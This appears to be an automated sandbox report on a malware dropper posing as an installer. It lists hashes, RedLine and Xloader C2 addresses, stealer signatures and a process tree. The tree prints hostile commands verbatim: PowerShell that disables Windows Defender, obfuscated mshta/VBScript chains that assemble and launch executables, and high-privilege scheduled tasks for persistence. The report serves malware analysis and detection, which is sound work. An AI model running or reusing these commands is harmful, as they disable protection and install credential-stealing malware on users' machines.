Resubmissions
01-11-2021 20:09
211101-yw5kbaafg5 1001-11-2021 07:13
211101-h2lrdsdhhj 1001-11-2021 06:40
211101-hfpk6adhfj 1031-10-2021 18:27
211031-w3r7fsdafj 1031-10-2021 14:10
211031-rgstmscghm 1031-10-2021 08:02
211031-jxchlacefm 1031-10-2021 06:36
211031-hczxqacddp 1031-10-2021 06:23
211031-g5wv4affb3 10Analysis
-
max time kernel
347s -
max time network
4954s -
platform
windows11_x64 -
resource
win11 -
submitted
31-10-2021 06:36
General
-
Target
setup_x86_x64_install.exe
-
Size
4.5MB
-
MD5
3da25ccfa9c258e3ae26854391531c7b
-
SHA1
1ed5613b0ad8ab4c47f07e52199a4edd27be40e6
-
SHA256
62be0ca52ea9ebc4c577d597b919f6b90cebdcc2179d7d482a04bf5731eec720
-
SHA512
defed576df3d8325259884b485a0dc7cd673c47028e77f189255e27dca312a0befdc8dc84106cc3103a3027e67a835fad899f9361076a64831db144354a4618c
Score
10/10
Malware Config
Extracted
Family
redline
Botnet
srtupdate33
C2
135.181.129.119:4805
Extracted
Family
xloader
Version
2.5
Campaign
s0iw
C2
http://www.kyiejenner.com/s0iw/
Decoy
ortopediamodelo.com
orimshirts.store
universecatholicweekly.info
yvettechan.com
sersaudavelsempre.online
face-booking.net
europeanretailgroup.com
umofan.com
roemahbajumuslim.online
joyrosecuisine.net
3dmaker.house
megdb.xyz
stereoshopie.info
gv5rm.com
tdc-trust.com
mcglobal.club
choral.works
onlineconsultantgroup.com
friscopaintandbody.com
midwestii.com
Signatures
-
Formbook
Formbook is a data stealing malware which is capable of stealing data.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 4 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Suspicious use of NtCreateProcessExOtherParentProcess 27 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
Xloader
Xloader is a rebranded version of Formbook malware.
-
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Xloader Payload 2 IoCs
-
ASPack v2.12-2.42 6 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Blocklisted process makes network request 1 IoCs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 5 IoCs
-
Executes dropped EXE 64 IoCs
-
Checks BIOS information in registry 2 TTPs 32 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Loads dropped DLL 61 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses 2FA software files, possible credential harvesting 2 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 5 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 16 IoCs
-
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 15 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 15 IoCs
-
Suspicious use of SetThreadContext 10 IoCs
-
Drops file in Program Files directory 21 IoCs
-
Drops file in Windows directory 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 21 IoCs
-
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
-
Enumerates system info in registry 2 TTPs 45 IoCs
-
Kills process with taskkill 9 IoCs
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Modifies data under HKEY_USERS 3 IoCs
-
Modifies registry class 1 IoCs
-
Modifies system certificate store 2 TTPs 6 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 13 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 3 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of UnmapMainImage 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of UnmapMainImage
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\setup_install.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun039750b00c.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun039750b00c.exeSun039750b00c.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRipt: CLoSE( createOBJeCT ( "wsCript.ShelL"). rUn ( "cMD.exE /R tyPe ""C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun039750b00c.exe"" > wXE1XgqZIR_W9IM.exE && start WXE1XgqzIr_w9IM.eXe -PRt0qXDI7zI & if """" == """" for %m in ( ""C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun039750b00c.exe"" ) do taskkill -Im ""%~Nxm"" /F " , 0 , TrUe ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R tyPe "C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun039750b00c.exe" > wXE1XgqZIR_W9IM.exE && start WXE1XgqzIr_w9IM.eXe -PRt0qXDI7zI & if "" == "" for %m in ( "C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun039750b00c.exe" ) do taskkill -Im "%~Nxm" /F8⤵
-
C:\Users\Admin\AppData\Local\Temp\wXE1XgqZIR_W9IM.exEWXE1XgqzIr_w9IM.eXe -PRt0qXDI7zI9⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRipt: CLoSE( createOBJeCT ( "wsCript.ShelL"). rUn ( "cMD.exE /R tyPe ""C:\Users\Admin\AppData\Local\Temp\wXE1XgqZIR_W9IM.exE"" > wXE1XgqZIR_W9IM.exE && start WXE1XgqzIr_w9IM.eXe -PRt0qXDI7zI & if ""-PRt0qXDI7zI "" == """" for %m in ( ""C:\Users\Admin\AppData\Local\Temp\wXE1XgqZIR_W9IM.exE"" ) do taskkill -Im ""%~Nxm"" /F " , 0 , TrUe ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R tyPe "C:\Users\Admin\AppData\Local\Temp\wXE1XgqZIR_W9IM.exE" > wXE1XgqZIR_W9IM.exE && start WXE1XgqzIr_w9IM.eXe -PRt0qXDI7zI & if "-PRt0qXDI7zI " == "" for %m in ( "C:\Users\Admin\AppData\Local\Temp\wXE1XgqZIR_W9IM.exE" ) do taskkill -Im "%~Nxm" /F11⤵
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCripT: CLOse ( CReAteoBjECt ( "wScrIPT.SHeLL" ). RuN ( "CmD /C EcHo | sEt /P = ""MZ"" > QKYLkI3.T & CopY /Y /b QKYLkI3.T +KXCn0WxW.e+ 8QfI1D5v.X + 52TbWL.SZV + Y4JTKX.X9 +88N4.I + xU3XyT.P UKHPFGIw.UMV & START msiexec.exe -Y .\UKHPfGIw.UMV " , 0 , TRUe ))10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EcHo | sEt /P = "MZ" > QKYLkI3.T & CopY /Y /b QKYLkI3.T +KXCn0WxW.e+ 8QfI1D5v.X + 52TbWL.SZV +Y4JTKX.X9 +88N4.I + xU3XyT.P UKHPFGIw.UMV & START msiexec.exe -Y .\UKHPfGIw.UMV11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>QKYLkI3.T"12⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "12⤵
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -Y .\UKHPfGIw.UMV12⤵
- Loads dropped DLL
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -Im "Sun039750b00c.exe" /F9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun03f0dc4460bc9.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun03f0dc4460bc9.exeSun03f0dc4460bc9.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun03f0dc4460bc9.exeC:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun03f0dc4460bc9.exe7⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun0397381f1f458e.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun0397381f1f458e.exeSun0397381f1f458e.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun0397381f1f458e.exe"C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun0397381f1f458e.exe" -u7⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun03e4aeb7e43a1c.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun03e4aeb7e43a1c.exeSun03e4aeb7e43a1c.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3412 -s 2407⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun033e271e0ce96c08.exe /mixone5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun033e271e0ce96c08.exeSun033e271e0ce96c08.exe /mixone6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 2407⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun03d477f1a31.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun03d477f1a31.exeSun03d477f1a31.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2516 -s 19927⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun038aa349e3318e.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8A5BC2A3\Sun038aa349e3318e.exeSun038aa349e3318e.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\1aeIbfXq5eJCp4JtjQlDrLNt.exe"C:\Users\Admin\Pictures\Adobe Films\1aeIbfXq5eJCp4JtjQlDrLNt.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\0fCYzA8z5OBsI6qUaPoJ9Xgl.exe"C:\Users\Admin\Pictures\Adobe Films\0fCYzA8z5OBsI6qUaPoJ9Xgl.exe"7⤵
- Executes dropped EXE
-
C:\ProgramData\build.exe"C:\ProgramData\build.exe"8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build.exe /f & timeout /t 6 & del /f /q "C:\ProgramData\build.exe" & del C:\ProgramData\*.dll & exit9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build.exe /f10⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 610⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\tvxhCE_lX_laPrvYgJpAHQcQ.exe"C:\Users\Admin\Pictures\Adobe Films\tvxhCE_lX_laPrvYgJpAHQcQ.exe"7⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\jymMuKWFVqqCMEHaIQqA3Mzx.exe"C:\Users\Admin\Pictures\Adobe Films\jymMuKWFVqqCMEHaIQqA3Mzx.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\QJdtIFqZ3SaexLzUxPPr45c6.exe"C:\Users\Admin\Pictures\Adobe Films\QJdtIFqZ3SaexLzUxPPr45c6.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Pictures\Adobe Films\RGuIedNRj2Bfnb24ykmEeVe2.exe"C:\Users\Admin\Pictures\Adobe Films\RGuIedNRj2Bfnb24ykmEeVe2.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\RGuIedNRj2Bfnb24ykmEeVe2.exe"C:\Users\Admin\Pictures\Adobe Films\RGuIedNRj2Bfnb24ykmEeVe2.exe"8⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Users\Admin\Pictures\Adobe Films\arhKu83DD5xhnQFKmGIj5gLs.exe"C:\Users\Admin\Pictures\Adobe Films\arhKu83DD5xhnQFKmGIj5gLs.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\xS1Zkc4plNO_9r_RZ6LMjwYg.exe"C:\Users\Admin\Pictures\Adobe Films\xS1Zkc4plNO_9r_RZ6LMjwYg.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Pictures\Adobe Films\DkL_8Yb60VETEzCxPUZRzJw9.exe"C:\Users\Admin\Pictures\Adobe Films\DkL_8Yb60VETEzCxPUZRzJw9.exe"7⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Users\Admin\Documents\UTF7piUYTsgvdjVCAabvY1aR.exe"C:\Users\Admin\Documents\UTF7piUYTsgvdjVCAabvY1aR.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\wZ5MVWeiP3PcimZHfdkIWuKv.exe"C:\Users\Admin\Pictures\Adobe Films\wZ5MVWeiP3PcimZHfdkIWuKv.exe"9⤵
- Executes dropped EXE
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
-
-
C:\Users\Admin\Pictures\Adobe Films\jBFGaywNjqJw66rwMuyX5LgN.exe"C:\Users\Admin\Pictures\Adobe Films\jBFGaywNjqJw66rwMuyX5LgN.exe"9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 23610⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\Pictures\Adobe Films\fX0YxZzLAwCvU1K05S26HNI1.exe"C:\Users\Admin\Pictures\Adobe Films\fX0YxZzLAwCvU1K05S26HNI1.exe"9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4920 -s 23610⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Hy9TChhaWHX0I8_xaz4Pcu1B.exe"C:\Users\Admin\Pictures\Adobe Films\Hy9TChhaWHX0I8_xaz4Pcu1B.exe"9⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\eex0LxgApr7_Odadb_EKvWOI.exe"C:\Users\Admin\Pictures\Adobe Films\eex0LxgApr7_Odadb_EKvWOI.exe"9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1996 -s 176410⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Users\Admin\Pictures\Adobe Films\VhqZMYZGkBpUJfGC9ECaUpFC.exe"C:\Users\Admin\Pictures\Adobe Films\VhqZMYZGkBpUJfGC9ECaUpFC.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-MJ27G.tmp\VhqZMYZGkBpUJfGC9ECaUpFC.tmp"C:\Users\Admin\AppData\Local\Temp\is-MJ27G.tmp\VhqZMYZGkBpUJfGC9ECaUpFC.tmp" /SL5="$30364,506127,422400,C:\Users\Admin\Pictures\Adobe Films\VhqZMYZGkBpUJfGC9ECaUpFC.exe"10⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-51VC0.tmp\ShareFolder.exe"C:\Users\Admin\AppData\Local\Temp\is-51VC0.tmp\ShareFolder.exe" /S /UID=271011⤵
- Drops file in Drivers directory
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\2d-fe36b-79a-94fab-e0eb66c06c811\Gehajufeci.exe"C:\Users\Admin\AppData\Local\Temp\2d-fe36b-79a-94fab-e0eb66c06c811\Gehajufeci.exe"12⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bmq4oiim.plb\GcleanerEU.exe /eufive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\bmq4oiim.plb\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\bmq4oiim.plb\GcleanerEU.exe /eufive14⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jpaluqcb.ybe\installer.exe /qn CAMPAIGN="654" & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\jpaluqcb.ybe\installer.exeC:\Users\Admin\AppData\Local\Temp\jpaluqcb.ybe\installer.exe /qn CAMPAIGN="654"14⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\u4qc1ivq.c3i\any.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\u4qc1ivq.c3i\any.exeC:\Users\Admin\AppData\Local\Temp\u4qc1ivq.c3i\any.exe14⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3kdnmpyt.zyr\gcleaner.exe /mixfive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\3kdnmpyt.zyr\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\3kdnmpyt.zyr\gcleaner.exe /mixfive14⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xeptpvaq.ch4\autosubplayer.exe /S & exit13⤵
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\lLDECWqgvSj583ydSpskB4V0.exe"C:\Users\Admin\Pictures\Adobe Films\lLDECWqgvSj583ydSpskB4V0.exe"9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\lLDECWqgvSj583ydSpskB4V0.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\lLDECWqgvSj583ydSpskB4V0.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\lLDECWqgvSj583ydSpskB4V0.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\lLDECWqgvSj583ydSpskB4V0.exe" ) do taskkill -f -iM "%~NxM"11⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "lLDECWqgvSj583ydSpskB4V0.exe"12⤵
- Kills process with taskkill
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\EcPLBSgDutTrPHHq6hkzEbT1.exe"C:\Users\Admin\Pictures\Adobe Films\EcPLBSgDutTrPHHq6hkzEbT1.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-2TTAT.tmp\EcPLBSgDutTrPHHq6hkzEbT1.tmp"C:\Users\Admin\AppData\Local\Temp\is-2TTAT.tmp\EcPLBSgDutTrPHHq6hkzEbT1.tmp" /SL5="$1045C,506127,422400,C:\Users\Admin\Pictures\Adobe Films\EcPLBSgDutTrPHHq6hkzEbT1.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-NL08O.tmp\ShareFolder.exe"C:\Users\Admin\AppData\Local\Temp\is-NL08O.tmp\ShareFolder.exe" /S /UID=270911⤵
- Drops file in Drivers directory
-
C:\Users\Admin\AppData\Local\Temp\7a-725c6-69d-565ad-0473a94b8733f\Lefikyhykae.exe"C:\Users\Admin\AppData\Local\Temp\7a-725c6-69d-565ad-0473a94b8733f\Lefikyhykae.exe"12⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\u4v3zcr2.mle\GcleanerEU.exe /eufive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\u4v3zcr2.mle\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\u4v3zcr2.mle\GcleanerEU.exe /eufive14⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\czn2pwwf.kyd\installer.exe /qn CAMPAIGN="654" & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\czn2pwwf.kyd\installer.exeC:\Users\Admin\AppData\Local\Temp\czn2pwwf.kyd\installer.exe /qn CAMPAIGN="654"14⤵
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1vu3iwe2.zn5\any.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\1vu3iwe2.zn5\any.exeC:\Users\Admin\AppData\Local\Temp\1vu3iwe2.zn5\any.exe14⤵
-
C:\Users\Admin\AppData\Local\Temp\1vu3iwe2.zn5\any.exe"C:\Users\Admin\AppData\Local\Temp\1vu3iwe2.zn5\any.exe" -u15⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\neikjmc1.bkv\gcleaner.exe /mixfive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\neikjmc1.bkv\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\neikjmc1.bkv\gcleaner.exe /mixfive14⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2968 -s 23615⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fzo5s4ca.b4t\autosubplayer.exe /S & exit13⤵
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\U9PAZtKpC2kni0c_vImxie1w.exe"C:\Users\Admin\Pictures\Adobe Films\U9PAZtKpC2kni0c_vImxie1w.exe"9⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=110⤵
- Loads dropped DLL
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\Pictures\Adobe Films\MWFx0sCr8USWspYsnAQnG9E5.exe"C:\Users\Admin\Pictures\Adobe Films\MWFx0sCr8USWspYsnAQnG9E5.exe"7⤵
-
-
C:\Users\Admin\Pictures\Adobe Films\X8OzbKGsbnFcnrgmj1t5hGFO.exe"C:\Users\Admin\Pictures\Adobe Films\X8OzbKGsbnFcnrgmj1t5hGFO.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\Pictures\Adobe Films\v0NnpzeL3PSGLE6kMrTbuhOh.exe"C:\Users\Admin\Pictures\Adobe Films\v0NnpzeL3PSGLE6kMrTbuhOh.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\Pictures\Adobe Films\7qgSTuxGztdQ_egFLiEt6IMi.exe"C:\Users\Admin\Pictures\Adobe Films\7qgSTuxGztdQ_egFLiEt6IMi.exe"7⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"8⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"8⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Pictures\Adobe Films\jOES6XJPFUATb0sP4VqhXF9U.exe"C:\Users\Admin\Pictures\Adobe Films\jOES6XJPFUATb0sP4VqhXF9U.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
